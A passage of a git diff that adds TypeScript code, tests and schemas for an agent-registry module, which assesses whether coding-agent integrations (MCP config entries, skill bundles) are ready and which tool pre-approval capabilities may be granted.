answer.state,+ ...(strictness === undefined ? {} : { strictness }),+ ...(shared === undefined || shared.length === 0 ? {} : { sharedWith: shared }),+ ...(path === undefined ? {} : { path }),+ };+}++export async function buildProbeSnapshot(input: BuildProbeSnapshotInput): Promise<ProbeSnapshot> {+ const satisfiers: Record<string, SatisfierProbe> = {};+ for (const item of planProbes(input.agentIds)) {+ satisfiers[item.satisfierId] = toProbe(item, await safeResolve(input.resolve, item));+ }+ return { env: input.env, satisfiers };+}++export async function collectProbeCoverage(+ resolve: ProbeResolver,+ agentIds?: readonly AgentId[],+): Promise<readonly SatisfierId[]> {+ const covered: SatisfierId[] = [];+ for (const item of planProbes(agentIds)) {+ if ((await safeResolve(resolve, item)) !== null) covered.push(item.satisfierId);+ }+ return covered;+}++export interface ProbeCoverageReport {+ readonly missing: readonly SatisfierId[];+ readonly unclaimed: readonly string[];+}++export function checkProbeCoverage(produced: Iterable<string>): ProbeCoverageReport {+ const claimed = new Set<string>(PROBEABLE_SATISFIER_IDS);+ const answered = new Set<string>(produced);+ return {+ missing: PROBEABLE_SATISFIER_IDS.filter((id) => !answered.has(id)),+ unclaimed: [...answered].filter((id) => !claimed.has(id)),+ };+}diff --git a/packages/core/src/agent-registry/readiness.test.ts b/packages/core/src/agent-registry/readiness.test.tsnew file mode 100644index 000000000..04854dea7--- /dev/null+++ b/packages/core/src/agent-registry/readiness.test.ts@@ -0,0 +1,462 @@+import { describe, expect, it } from 'vitest';+import { AGENT_REGISTRY } from './agents.ts';+import { CAPABILITY_RECORDS } from './capabilities.ts';+import { AGENT_MODES, type AgentMode, type SatisfierId, satisfierId } from './ids.ts';+import { assessReadiness, isRegisteredAgent, READINESS_VERDICTS } from './readiness.ts';+import type { ProbeSnapshot, SatisfierProbe } from './snapshot.ts';+import type { ProbeStrictness, SurfaceState } from './vocabulary.ts';++const EXACT: readonly ProbeStrictness[] = ['pre-approval-exact'];++function snapshot(entries: Record<string, SatisfierProbe>): ProbeSnapshot {+ return { env: 'desktop', satisfiers: entries };+}++const claudeUserMcp = satisfierId({+ agent: 'claude',+ piece: 'mcp',+ scope: 'user',+ kind: 'config-entry',+});+const claudeProjectMcp = satisfierId({+ agent: 'claude',+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+});+const claudeProjectSkill = satisfierId({+ agent: 'claude',+ piece: 'skill',+ scope: 'project',+ kind: 'skill-bundle-copy',+});+const piProjectMcp = satisfierId({+ agent: 'pi',+ piece: 'mcp',+ scope: 'project',+ kind: 'managed-file',+});+const piProjectSkill = satisfierId({+ agent: 'pi',+ piece: 'skill',+ scope: 'project',+ kind: 'skill-bundle-copy',+});++const requirementFor = (assessment: ReturnType<typeof assessReadiness>, piece: 'mcp' | 'skill') => {+ const found = assessment.requirements.find((requirement) => requirement.piece === piece);+ if (found === undefined) throw new Error(`no ${piece} requirement`);+ return found;+};++const optionFor = (+ assessment: ReturnType<typeof assessReadiness>,+ piece: 'mcp' | 'skill',+ id: SatisfierId,+) => {+ const found = requirementFor(assessment, piece).options.find((option) => option.id === id);+ if (found === undefined) throw new Error(`no option ${id}`);+ return found;+};++describe('verdicts', () => {+ it('answers with a known verdict for every registered agent and mode', () => {+ for (const agent of Object.values(AGENT_REGISTRY)) {+ for (const mode of AGENT_MODES) {+ const assessment = assessReadiness({ agentId: agent.id, mode });+ expect(READINESS_VERDICTS).toContain(assessment.verdict);+ }+ }+ });++ it('reports mode-not-available for a mode the agent does not have', () => {+ const assessment = assessReadiness({ agentId: 'openclaw', mode: 'acp' });+ expect(assessment.verdict).toBe('mode-not-available');+ expect(assessment.requirements).toEqual([]);+ expect(assessment.grantedCapabilities).toEqual([]);+ });++ it('is ready when every requirement is met', () => {+ const assessment = assessReadiness({+ agentId: 'claude',+ mode: 'external',+ probes: snapshot({+ [claudeProjectMcp]: { state: 'satisfied' },+ [claudeProjectSkill]: { state: 'satisfied' },+ }),+ });+ expect(assessment.verdict).toBe('ready');+ });++ it('nudges rather than blocks when only the skill is missing', () => {+ const assessment = assessReadiness({+ agentId: 'claude',+ mode: 'external',+ probes: snapshot({+ [claudeProjectMcp]: { state: 'satisfied' },+ [claudeProjectSkill]: { state: 'absent' },+ [satisfierId({+ agent: 'claude',+ piece: 'skill',+ scope: 'user',+ kind: 'skill-bundle-copy',+ })]: { state: 'absent' },+ }),+ });+ expect(assessment.verdict).toBe('ready-with-nudges');+ expect(requirementFor(assessment, 'mcp').status).toBe('met');+ expect(requirementFor(assessment, 'skill').status).toBe('unmet');+ });++ it('blocks only when the required tools requirement has no counting option', () => {+ const assessment = assessReadiness({+ agentId: 'claude',+ mode: 'external',+ probes: snapshot({+ [claudeUserMcp]: { state: 'absent' },+ [claudeProjectMcp]: { state: 'absent' },+ [claudeProjectSkill]: { state: 'satisfied' },+ }),+ });+ expect(assessment.verdict).toBe('blocked');+ expect(requirementFor(assessment, 'mcp').level).toBe('required');+ expect(requirementFor(assessment, 'skill').status).toBe('met');+ });++ it('ships the evaluated OR-set alongside the verdict', () => {+ const assessment = assessReadiness({ agentId: 'claude', mode: 'terminal' });+ const mcp = requirementFor(assessment, 'mcp');+ expect(mcp.options.map((option) => option.id)).toEqual([claudeUserMcp, claudeProjectMcp]);+ for (const option of mcp.options) {+ expect(typeof option.state).toBe('string');+ expect(typeof option.counts).toBe('boolean');+ }+ });+});++describe('agents outside the curated set', () => {+ it('passes an unknown id through without a verdict against it', () => {+ const assessment = assessReadiness({ agentId: 'some-registry-agent', mode: 'acp' });+ expect(assessment.verdict).toBe('not-registered');+ expect(assessment.requirements).toEqual([]);+ expect(assessment.grantedCapabilities).toEqual([]);+ expect(assessment.modeCaveats).toEqual([]);+ });++ it('never hides an agent it knows nothing about', () => {+ for (const mode of AGENT_MODES) {+ expect(+ assessReadiness({ agentId: 'custom-entry', mode, modeSignal: null }).visibility.show,+ ).toBe(true);+ }+ });++ it('never blocks an unknown id whatever the snapshot says', () => {+ const assessment = assessReadiness({+ agentId: 'unknown-agent',+ mode: 'external',+ probes: snapshot({ [claudeProjectMcp]: { state: 'foreign' } }),+ });+ expect(assessment.verdict).toBe('not-registered');+ });++ it('agrees with its own membership predicate', () => {+ expect(isRegisteredAgent('claude')).toBe(true);+ expect(isRegisteredAgent('some-registry-agent')).toBe(false);+ });+});++describe('how a state rolls up', () => {+ it('counts an entry whose approval we cannot see, and does not warn about it', () => {+ const assessment = assessReadiness({+ agentId: 'claude',+ mode: 'external',+ probes: snapshot({+ [claudeProjectMcp]: { state: 'present-consent-unknown' },+ [claudeProjectSkill]: { state: 'satisfied' },+ }),+ });+ expect(assessment.verdict).toBe('ready');+ expect(optionFor(assessment, 'mcp', claudeProjectMcp).exception).toBe('info');+ });++ it('counts a satisfier the registry declares unprobeable, at unverifiable confidence', () => {+ const assessment = assessReadiness({ agentId: 'gemini', mode: 'acp' });+ const mcp = requirementFor(assessment, 'mcp');+ expect(mcp.status).toBe('met');+ expect(mcp.confidence).toBe('unverifiable');+ expect(mcp.options[0]?.state).toBe('unprobeable');+ });++ it('ignores a host claiming to have probed something declared unprobeable', () => {+ const injection = satisfierId({+ agent: 'gemini',+ piece: 'mcp',+ scope: 'session',+ kind: 'session-injection',+ });+ const assessment = assessReadiness({+ agentId: 'gemini',+ mode: 'acp',+ probes: snapshot({ [injection]: { state: 'satisfied' } }),+ });+ expect(requirementFor(assessment, 'mcp').confidence).toBe('unverifiable');+ });++ it('treats a probeable satisfier missing from the snapshot as unprobed', () => {+ const assessment = assessReadiness({ agentId: 'pi', mode: 'terminal', probes: snapshot({}) });+ expect(optionFor(assessment, 'mcp', piProjectMcp).state).toBe('unprobed');+ });++ it('never reaches verified confidence on an unprobed satisfier', () => {+ const assessment = assessReadiness({ agentId: 'pi', mode: 'terminal', probes: snapshot({}) });+ expect(assessment.verdict).toBe('ready');+ for (const requirement of assessment.requirements) {+ expect(requirement.confidence).toBe('unverified');+ }+ });++ it('prefers a verified option over an unprobed one that also counts', () => {+ const assessment = assessReadiness({+ agentId: 'pi',+ mode: 'terminal',+ probes: snapshot({ [piProjectSkill]: { state: 'satisfied' } }),+ });+ const skill = requirementFor(assessment, 'skill');+ expect(skill.satisfiedBy).toBe(piProjectSkill);+ expect(skill.confidence).toBe('verified');+ });++ it('does not count a foreign entry', () => {+ const assessment = assessReadiness({+ agentId: 'claude',+ mode: 'external',+ probes: snapshot({+ [claudeUserMcp]: { state: 'foreign' },+ [claudeProjectMcp]: { state: 'foreign' },+ }),+ });+ expect(assessment.verdict).toBe('blocked');+ expect(optionFor(assessment, 'mcp', claudeUserMcp).exception).toBe('warning');+ });+});++describe('per-mode resolution of an unanswered probe', () => {+ const modeVerdict = (mode: AgentMode) =>+ assessReadiness({ agentId: 'pi', mode, probes: snapshot({}) }).verdict;++ it('counts it for a terminal launch, which proceeds either way', () => {+ expect(modeVerdict('terminal')).toBe('ready');+ });++ it('counts it for an in-app thread', () => {+ expect(modeVerdict('acp')).toBe('ready');+ });++ it('refuses to count it for a deep link into another app', () => {+ expect(modeVerdict('external')).toBe('blocked');+ });++ it('resolves a state this build has no row for the same way', () => {+ const unknown = { state: 'quantum-entangled' as SurfaceState };+ const external = assessReadiness({+ agentId: 'pi',+ mode: 'external',+ probes: snapshot({ [piProjectMcp]: unknown }),+ });+ const terminal = assessReadiness({+ agentId: 'pi',+ mode: 'terminal',+ probes: snapshot({ [piProjectMcp]: unknown }),+ });+ expect(optionFor(external, 'mcp', piProjectMcp).counts).toBe(false);+ expect(optionFor(terminal, 'mcp', piProjectMcp).counts).toBe(true);+ expect(optionFor(terminal, 'mcp', piProjectMcp).confidence).toBe('unverified');+ });+});++describe('an agent with no surface of a kind', () => {+ it('reports nothing-required rather than a gap', () => {+ const assessment = assessReadiness({+ agentId: 'claude-desktop',+ mode: 'external',+ probes: snapshot({+ [satisfierId({+ agent: 'claude-desktop',+ piece: 'mcp',+ scope: 'user',+ kind: 'config-entry',+ })]: { state: 'satisfied' },+ }),+ });+ const skill = requirementFor(assessment, 'skill');+ expect(skill.status).toBe('nothing-required');+ expect(skill.options).toEqual([]);+ expect(assessment.verdict).toBe('ready');+ });+});++describe('degraded input', () => {+ const garbage = [+ undefined,+ null,+ {},+ { env: 'desktop' },+ { env: 'desktop', satisfiers: null },+ { env: 'desktop', satisfiers: 'nope' },+ { env: 'desktop', satisfiers: { [claudeProjectMcp]: null } },+ { env: 'desktop', satisfiers: { [claudeProjectMcp]: { state: 42 } } },+ { env: 'desktop', satisfiers: { [claudeProjectMcp]: { state: 'satisfied', strictness: 7 } } },+ ];++ it('never throws, whatever the snapshot turns out to be', () => {+ for (const probes of garbage) {+ for (const mode of AGENT_MODES) {+ expect(() =>+ assessReadiness({ agentId: 'claude', mode, probes: probes as ProbeSnapshot }),+ ).not.toThrow();+ }+ }+ });++ it('degrades every probeable satisfier to unprobed', () => {+ const assessment = assessReadiness({+ agentId: 'claude',+ mode: 'external',+ probes: { env: 'desktop', satisfiers: 'nope' } as unknown as ProbeSnapshot,+ });+ for (const option of requirementFor(assessment, 'mcp').options) {+ expect(option.state).toBe('unprobed');+ }+ expect(assessment.verdict).toBe('blocked');+ });++ it('reads a satisfier whose strictness list arrived as the wrong type', () => {+ const assessment = assessReadiness({+ agentId: 'claude',+ mode: 'external',+ probes: {+ env: 'desktop',+ satisfiers: { [claudeProjectMcp]: { state: 'satisfied', strictness: 7 } },+ } as unknown as ProbeSnapshot,+ });+ expect(optionFor(assessment, 'mcp', claudeProjectMcp).state).toBe('satisfied');+ expect(assessment.grantedCapabilities).toEqual([]);+ });+});++describe('visibility', () => {+ it('takes the caller answer when there is one', () => {+ expect(+ assessReadiness({ agentId: 'claude', mode: 'external', modeSignal: false }).visibility,+ ).toMatchObject({ signal: 'os-scheme-handler', resolved: false, show: false });+ });++ it('falls back to the mode policy when the signal did not resolve', () => {+ expect(assessReadiness({ agentId: 'claude', mode: 'terminal' }).visibility).toMatchObject({+ signal: 'harness-cli-on-path',+ resolved: null,+ show: true,+ });+ expect(assessReadiness({ agentId: 'claude', mode: 'external' }).visibility.show).toBe(false);+ });+});++describe('capability grants', () => {+ const grants = (entries: Record<string, SatisfierProbe>) =>+ assessReadiness({ agentId: 'claude', mode: 'terminal', probes: snapshot(entries) })+ .grantedCapabilities;++ it('grants both when the project entry passes the exact predicate', () => {+ expect(+ grants({+ [claudeProjectMcp]: { state: 'satisfied', strictness: EXACT },+ [claudeUserMcp]: { state: 'absent' },+ }),+ ).toEqual(['mcp-preapproval', 'tool-autoapprove']);+ });++ it('grants tool auto-approve, but not pre-approval, from a global entry alone', () => {+ expect(+ grants({+ [claudeUserMcp]: { state: 'satisfied', strictness: EXACT },+ [claudeProjectMcp]: { state: 'absent' },+ }),+ ).toEqual(['tool-autoapprove']);+ });++ it('grants nothing when the other scope was never probed', () => {+ expect(grants({ [claudeProjectMcp]: { state: 'satisfied', strictness: EXACT } })).toEqual([+ 'mcp-preapproval',+ ]);+ expect(grants({ [claudeUserMcp]: { state: 'satisfied', strictness: EXACT } })).toEqual([]);+ });++ it('grants nothing when a drifted entry sits alongside a clean one', () => {+ expect(+ grants({+ [claudeProjectMcp]: { state: 'drifted' },+ [claudeUserMcp]: { state: 'satisfied', strictness: EXACT },+ }),+ ).toEqual([]);+ });++ it('grants both when either scope would have done', () => {+ expect(+ grants({+ [claudeUserMcp]: { state: 'satisfied', strictness: EXACT },+ [claudeProjectMcp]: { state: 'satisfied', strictness: EXACT },+ }),+ ).toEqual(['mcp-preapproval', 'tool-autoapprove']);+ });++ it('grants nothing when neither scope has an entry', () => {+ expect(+ grants({ [claudeUserMcp]: { state: 'absent' }, [claudeProjectMcp]: { state: 'absent' } }),+ ).toEqual([]);+ });++ it('grants nothing when a foreign project entry shadows a legitimate global one', () => {+ expect(+ grants({+ [claudeUserMcp]: { state: 'satisfied', strictness: EXACT },+ [claudeProjectMcp]: { state: 'foreign' },+ }),+ ).toEqual([]);+ });++ it('refuses to spend a permissive answer on a decision that requires the exact one', () => {+ expect(+ grants({ [claudeProjectMcp]: { state: 'satisfied', strictness: ['reclaim-permissive'] } }),+ ).toEqual([]);+ });++ it('refuses an exact answer about an entry that does not count', () => {+ expect(grants({ [claudeProjectMcp]: { state: 'drifted', strictness: EXACT } })).toEqual([]);+ });++ it('grants nothing to an agent whose satisfiers never offer the exact predicate', () => {+ const assessment = assessReadiness({+ agentId: 'cursor',+ mode: 'terminal',+ probes: snapshot({+ [satisfierId({ agent: 'cursor', piece: 'mcp', scope: 'project', kind: 'config-entry' })]: {+ state: 'satisfied',+ strictness: EXACT,+ },+ }),+ });+ expect(assessment.grantedCapabilities).toEqual([]);+ });++ it('lists only ids the capability table declares', () => {+ const declared = CAPABILITY_RECORDS.map((record) => record.id);+ for (const agent of Object.values(AGENT_REGISTRY)) {+ for (const mode of AGENT_MODES) {+ for (const id of assessReadiness({ agentId: agent.id, mode }).grantedCapabilities) {+ expect(declared).toContain(id);+ }+ }+ }+ });+});diff --git a/packages/core/src/agent-registry/readiness.ts b/packages/core/src/agent-registry/readiness.tsnew file mode 100644index 000000000..45bcf4f7d--- /dev/null+++ b/packages/core/src/agent-registry/readiness.ts@@ -0,0 +1,282 @@+import { getAgentRecord, getSatisfierRecord } from './agents.ts';+import { CAPABILITY_RECORDS } from './capabilities.ts';+import { resolveSurfaceState, statePolicyFor } from './fold.ts';+import {+ type AgentId,+ type AgentMode,+ type IntegrationPiece,+ isAgentId,+ type SatisfierId,+} from './ids.ts';+import {+ MODE_GATE_POLICY,+ MODE_VISIBILITY_POLICY,+ STATE_POLICY,+ type VisibilitySignal,+} from './policy.ts';+import type { AgentRecord, GuidanceRef, RequirementRecord } from './schema.ts';+import {+ type DetectionSnapshot,+ type ProbeSnapshot,+ readSatisfierProbe,+ type SatisfierProbe,+} from './snapshot.ts';+import {+ type ConsentClass,+ type ExceptionLevel,+ isKnownSurfaceState,+ type ProbeStrictness,+ type RequirementLevel,+ type SurfaceState,+} from './vocabulary.ts';++export const READINESS_VERDICTS = [+ 'ready',+ 'ready-with-nudges',+ 'blocked',+ 'mode-not-available',+ 'not-registered',+] as const;+export type ReadinessVerdict = (typeof READINESS_VERDICTS)[number];++export const MET_CONFIDENCES = ['verified', 'unverifiable', 'unverified'] as const;+export type MetConfidence = (typeof MET_CONFIDENCES)[number];++export const REQUIREMENT_STATUSES = ['met', 'unmet', 'nothing-required'] as const;+export type RequirementStatus = (typeof REQUIREMENT_STATUSES)[number];++export interface SatisfierAssessment {+ readonly id: SatisfierId;+ readonly state: SurfaceState;+ readonly counts: boolean;+ readonly confidence: MetConfidence;+ readonly exception: ExceptionLevel | null;+ readonly consentClass: ConsentClass;+ readonly guidance?: GuidanceRef;+ readonly followup?: GuidanceRef;+ readonly troubleshooting?: GuidanceRef;+}++export interface RequirementAssessment {+ readonly piece: IntegrationPiece;+ readonly level: RequirementLevel;+ readonly status: RequirementStatus;+ readonly confidence: MetConfidence | null;+ readonly satisfiedBy: SatisfierId | null;+ readonly options: readonly SatisfierAssessment[];+}++export interface ModeVisibility {+ readonly signal: VisibilitySignal;+ readonly resolved: boolean | null;+ readonly show: boolean;+}++export interface ReadinessAssessment {+ readonly agentId: string;+ readonly mode: AgentMode;+ readonly verdict: ReadinessVerdict;+ readonly visibility: ModeVisibility;+ readonly requirements: readonly RequirementAssessment[];+ readonly grantedCapabilities: readonly string[];+ readonly modeCaveats: readonly GuidanceRef[];+}++export interface AssessReadinessInput {+ readonly agentId: string;+ readonly mode: AgentMode;+ readonly probes?: ProbeSnapshot | null;+ readonly detection?: DetectionSnapshot | null;+ readonly modeSignal?: boolean | null;+}++const CONFIDENCE_RANK: Record<MetConfidence, number> = {+ verified: 3,+ unverifiable: 2,+ unverified: 1,+};++function resolveVisibility(mode: AgentMode, signal: boolean | null | undefined): ModeVisibility {+ const policy = MODE_VISIBILITY_POLICY[mode];+ const resolved = typeof signal === 'boolean' ? signal : null;+ return {+ signal: policy.signal,+ resolved,+ show: resolved ?? policy.unresolved === 'show',+ };+}++function assessSatisfier(+ id: SatisfierId,+ mode: AgentMode,+ probes: ProbeSnapshot | null | undefined,+): SatisfierAssessment {+ const record = getSatisfierRecord(id);+ if (record === undefined) {+ return {+ id,+ state: 'absent',+ counts: false,+ confidence: 'unverified',+ exception: STATE_POLICY.absent.exception,+ consentClass: 'none',+ };+ }++ const state = resolveSurfaceState(record, probes);+ const known = isKnownSurfaceState(state);+ const ambiguous = !known || state === 'unprobed';+ const countsUnverified = MODE_GATE_POLICY[mode].unprobed === 'count-unverified';++ const counts = ambiguous ? countsUnverified : statePolicyFor(state).counts;+ const confidence: MetConfidence = ambiguous+ ? 'unverified'+ : state === 'unprobeable'+ ? 'unverifiable'+ : 'verified';++ return {+ id,+ state,+ counts,+ confidence,+ exception: statePolicyFor(state).exception,+ consentClass: record.consentClass,+ ...(record.guidance === undefined ? {} : { guidance: record.guidance }),+ ...(record.followup === undefined ? {} : { followup: record.followup }),+ ...(record.troubleshooting === undefined ? {} : { troubleshooting: record.troubleshooting }),+ };+}++function assessRequirement(+ requirement: RequirementRecord,+ mode: AgentMode,+ probes: ProbeSnapshot | null | undefined,+): RequirementAssessment {+ const options = requirement.satisfiedByAny.map((id) => assessSatisfier(id, mode, probes));++ if (options.length === 0) {+ return {+ piece: requirement.piece,+ level: requirement.level,+ status: 'nothing-required',+ confidence: null,+ satisfiedBy: null,+ options,+ };+ }++ let best: SatisfierAssessment | null = null;+ for (const option of options) {+ if (!option.counts) continue;+ if (best === null || CONFIDENCE_RANK[option.confidence] > CONFIDENCE_RANK[best.confidence]) {+ best = option;+ }+ }++ return {+ piece: requirement.piece,+ level: requirement.level,+ status: best === null ? 'unmet' : 'met',+ confidence: best?.confidence ?? null,+ satisfiedBy: best?.id ?? null,+ options,+ };+}++const NO_ENTRY_TO_SHADOW: readonly SurfaceState[] = ['absent', 'structural-na'];++function grantedCapabilities(+ agent: AgentRecord,+ probes: ProbeSnapshot | null | undefined,+): string[] {+ const granted: string[] = [];++ for (const capability of CAPABILITY_RECORDS) {+ const scoped = agent.satisfiers.filter(+ (satisfier) =>+ satisfier.piece === capability.piece &&+ satisfier.kind !== 'session-injection' &&+ (capability.scope === undefined || satisfier.scope === capability.scope),+ );++ const shadowed =+ capability.revokedByForeignEntry &&+ scoped.some((satisfier) => {+ if (NO_ENTRY_TO_SHADOW.includes(resolveSurfaceState(satisfier, probes))) return false;+ return !answeredAt(readSatisfierProbe(probes, satisfier.id), capability.requiredStrictness);+ });+ if (shadowed) continue;++ const authorized = scoped.some((satisfier) => {+ if (satisfier.probe.mode !== 'probeable') return false;+ if (!satisfier.probe.strictness.includes(capability.requiredStrictness)) return false;+ const state = resolveSurfaceState(satisfier, probes);+ if (!statePolicyFor(state).counts) return false;+ return answeredAt(readSatisfierProbe(probes, satisfier.id), capability.requiredStrictness);+ });++ if (authorized) granted.push(capability.id);+ }++ return granted;+}++function answeredAt(probe: SatisfierProbe | undefined, strictness: ProbeStrictness): boolean {+ return probe?.strictness?.includes(strictness) === true;+}++export function assessReadiness(input: AssessReadinessInput): ReadinessAssessment {+ const { agentId, mode, probes, modeSignal } = input;+ const record = isAgentId(agentId) ? getAgentRecord(agentId) : undefined;++ if (record === undefined) {+ return {+ agentId,+ mode,+ verdict: 'not-registered',+ visibility: { ...resolveVisibility(mode, modeSignal), show: true },+ requirements: [],+ grantedCapabilities: [],+ modeCaveats: [],+ };+ }++ const visibility = resolveVisibility(mode, modeSignal);+ const modeRecord = record.modes[mode];++ if (modeRecord === undefined) {+ return {+ agentId,+ mode,+ verdict: 'mode-not-available',+ visibility,+ requirements: [],+ grantedCapabilities: [],+ modeCaveats: [],+ };+ }++ const requirements = modeRecord.requirements.map((requirement) =>+ assessRequirement(requirement, mode, probes),+ );++ const blocked = requirements.some(+ (requirement) => requirement.level === 'required' && requirement.status === 'unmet',+ );+ const nudged = requirements.some((requirement) => requirement.status === 'unmet');++ return {+ agentId,+ mode,+ verdict: blocked ? 'blocked' : nudged ? 'ready-with-nudges' : 'ready',+ visibility,+ requirements,+ grantedCapabilities: grantedCapabilities(record, probes),+ modeCaveats: modeRecord.caveats,+ };+}++export function isRegisteredAgent(agentId: string): agentId is AgentId {+ return isAgentId(agentId) && getAgentRecord(agentId) !== undefined;+}diff --git a/packages/core/src/agent-registry/schema.test.ts b/packages/core/src/agent-registry/schema.test.tsnew file mode 100644index 000000000..cd5d76ad8--- /dev/null+++ b/packages/core/src/agent-registry/schema.test.ts@@ -0,0 +1,189 @@+import { describe, expect, it } from 'vitest';+import { satisfierId } from './ids.ts';+import {+ AgentRecordSchema,+ AttestationSchema,+ ProbeDeclarationSchema,+ SatisfierRecordSchema,+} from './schema.ts';+import {+ APPLY_ACTIONS,+ ApplyActionSchema,+ DISK_BACKED_SATISFIER_KINDS,+ isKnownSurfaceState,+ KNOWN_SURFACE_STATES,+ SATISFIER_KINDS,+ SatisfierKindSchema,+ SurfaceStateSchema,+} from './vocabulary.ts';++const verifiedAttestation = {+ confidence: 'verified',+ evidence: [{ kind: 'source-read', ref: 'packages/cli/src/commands/editors.ts' }],+} as const;++function satisfierFixture(overrides: Record<string, unknown> = {}) {+ return {+ id: satisfierId({ agent: 'claude', piece: 'mcp', scope: 'project', kind: 'config-entry' }),+ agent: 'claude',+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+ pathId: 'claude-project-mcp-config',+ probe: { mode: 'probeable', strictness: ['pre-approval-exact'] },+ attestation: verifiedAttestation,+ audience: 'this-project',+ ...overrides,+ };+}++describe('satisfier kinds', () => {+ it('has exactly the five kinds a real agent needs', () => {+ expect([...SATISFIER_KINDS]).toEqual([+ 'config-entry',+ 'managed-file',+ 'skill-bundle-copy',+ 'central-store-copy',+ 'session-injection',+ ]);+ });++ it('rejects a kind the vocabulary does not have', () => {+ expect(SatisfierKindSchema.safeParse('user-mediated-handoff').success).toBe(false);+ expect(SatisfierRecordSchema.safeParse(satisfierFixture({ kind: 'telepathy' })).success).toBe(+ false,+ );+ });++ it('excludes the one kind that leaves nothing on disk from settings cells', () => {+ expect([...DISK_BACKED_SATISFIER_KINDS]).not.toContain('session-injection');+ expect(DISK_BACKED_SATISFIER_KINDS).toHaveLength(SATISFIER_KINDS.length - 1);+ });+});++describe('surface states', () => {+ it('accepts a state this build has never heard of', () => {+ const parsed = SurfaceStateSchema.safeParse('invented-by-a-newer-host');+ expect(parsed.success).toBe(true);+ expect(parsed.success && parsed.data).toBe('invented-by-a-newer-host');+ });++ it('still tells a known state from an unknown one', () => {+ for (const state of KNOWN_SURFACE_STATES) expect(isKnownSurfaceState(state)).toBe(true);+ expect(isKnownSurfaceState('invented-by-a-newer-host')).toBe(false);+ });+});++describe('apply actions', () => {+ it('keeps a failed write un-mistakable for an unchanged one', () => {+ expect(ApplyActionSchema.safeParse('failed').success).toBe(true);+ expect(ApplyActionSchema.safeParse('unchanged').success).toBe(true);+ expect(new Set(APPLY_ACTIONS).size).toBe(APPLY_ACTIONS.length);+ });++ it('never lets a write outcome be read as a probe state', () => {+ const writeOutcomes = ['written', 'overwritten', 'declined', 'failed'] as const;+ for (const action of writeOutcomes) {+ expect(ApplyActionSchema.safeParse(action).success).toBe(true);+ expect(isKnownSurfaceState(action)).toBe(false);+ }+ });+});++describe('attestation', () => {+ it('takes a verified claim without a clock', () => {+ expect(AttestationSchema.safeParse(verifiedAttestation).success).toBe(true);+ });++ it('refuses a contested claim with no build to re-check it against', () => {+ expect(+ AttestationSchema.safeParse({+ confidence: 'contested',+ evidence: [{ kind: 'upstream-issue', ref: 'openai/codex#13025' }],+ }).success,+ ).toBe(false);+ });++ it('takes a contested claim that names when and against what it was checked', () => {+ expect(+ AttestationSchema.safeParse({+ confidence: 'contested',+ evidence: [{ kind: 'upstream-issue', ref: 'openai/codex#13025' }],+ verifiedAgainst: { version: '26.707.72221', observedAt: '2026-08-18' },+ }).success,+ ).toBe(true);+ });++ it('demands receipts at every confidence level', () => {+ expect(AttestationSchema.safeParse({ confidence: 'assumed', evidence: [] }).success).toBe(+ false,+ );+ });+});++describe('probe declaration', () => {+ it('makes a probeable satisfier name at least one predicate', () => {+ expect(ProbeDeclarationSchema.safeParse({ mode: 'probeable', strictness: [] }).success).toBe(+ false,+ );+ });++ it('makes an unprobeable satisfier say why', () => {+ expect(ProbeDeclarationSchema.safeParse({ mode: 'unprobeable' }).success).toBe(false);+ expect(+ ProbeDeclarationSchema.safeParse({ mode: 'unprobeable', reason: 'no-readable-state' })+ .success,+ ).toBe(true);+ });+});++describe('agent records', () => {+ const agentFixture = {+ id: 'claude',+ setupDocSlug: 'claude-code',+ satisfiers: [satisfierFixture()],+ modes: {+ terminal: {+ requirements: [+ {+ piece: 'mcp',+ level: 'required',+ satisfiedByAny: [+ satisfierId({+ agent: 'claude',+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+ }),+ ],+ },+ ],+ },+ },+ };++ it('parses a whole record and defaults the optional fields', () => {+ const parsed = AgentRecordSchema.parse(agentFixture);+ expect(parsed.offerOnlyWhenDetected).toBe(false);+ expect(parsed.detectionSources).toEqual([]);+ expect(parsed.satisfiers[0]?.prerequisites).toEqual([]);+ expect(parsed.satisfiers[0]?.consentClass).toBe('none');+ expect(parsed.satisfiers[0]?.preferred).toBe(false);+ });++ it('treats a mode key as the whole signal that the mode exists', () => {+ const parsed = AgentRecordSchema.parse(agentFixture);+ expect(Object.keys(parsed.modes)).toEqual(['terminal']);+ expect(parsed.modes.external).toBeUndefined();+ });++ it('lets a requirement declare no surface at all with an empty OR-set', () => {+ const parsed = AgentRecordSchema.parse({+ ...agentFixture,+ modes: {+ acp: { requirements: [{ piece: 'skill', level: 'recommended', satisfiedByAny: [] }] },+ },+ });+ expect(parsed.modes.acp?.requirements[0]?.satisfiedByAny).toEqual([]);+ });+});diff --git a/packages/core/src/agent-registry/schema.ts b/packages/core/src/agent-registry/schema.tsnew file mode 100644index 000000000..1cad73764--- /dev/null+++ b/packages/core/src/agent-registry/schema.ts@@ -0,0 +1,198 @@+import { z } from 'zod';+import { ALL_EDITOR_IDS } from '../constants/editors.ts';+import {+ AcpHarnessCliIdSchema,+ AgentIdSchema,+ AgentModeSchema,+ GuidanceIdSchema,+ HandoffTargetIdSchema,+ IntegrationPieceSchema,+ PathIdSchema,+ SatisfierIdSchema,+ SatisfierScopeSchema,+} from './ids.ts';+import {+ ConsentClassSchema,+ ProbeStrictnessSchema,+ RequirementLevelSchema,+ SatisfierKindSchema,+} from './vocabulary.ts';++export const EditorIdSchema = z.enum(ALL_EDITOR_IDS);++export const EVIDENCE_KINDS = [+ 'source-read',+ 'measured',+ 'vendor-doc',+ 'upstream-issue',+ 'observation',+] as const;++export const EvidenceRefSchema = z.object({+ kind: z.enum(EVIDENCE_KINDS),+ ref: z.string().min(1),+ note: z.string().optional(),+});+export type EvidenceRef = z.infer<typeof EvidenceRefSchema>;++export const VerifiedAgainstSchema = z.object({+ version: z.string().min(1).optional(),+ observedAt: z.string().min(1),+});+export type VerifiedAgainst = z.infer<typeof VerifiedAgainstSchema>;++export const AttestationSchema = z.discriminatedUnion('confidence', [+ z.object({+ confidence: z.literal('verified'),+ evidence: z.array(EvidenceRefSchema).min(1),+ verifiedAgainst: VerifiedAgainstSchema.optional(),+ }),+ z.object({+ confidence: z.literal('assumed'),+ evidence: z.array(EvidenceRefSchema).min(1),+ verifiedAgainst: VerifiedAgainstSchema.optional(),+ }),+ z.object({+ confidence: z.literal('contested'),+ evidence: z.array(EvidenceRefSchema).min(1),+ verifiedAgainst: VerifiedAgainstSchema,+ }),+]);+export type Attestation = z.infer<typeof AttestationSchema>;++export const GuidanceRefSchema = z.object({+ id: GuidanceIdSchema,+ params: 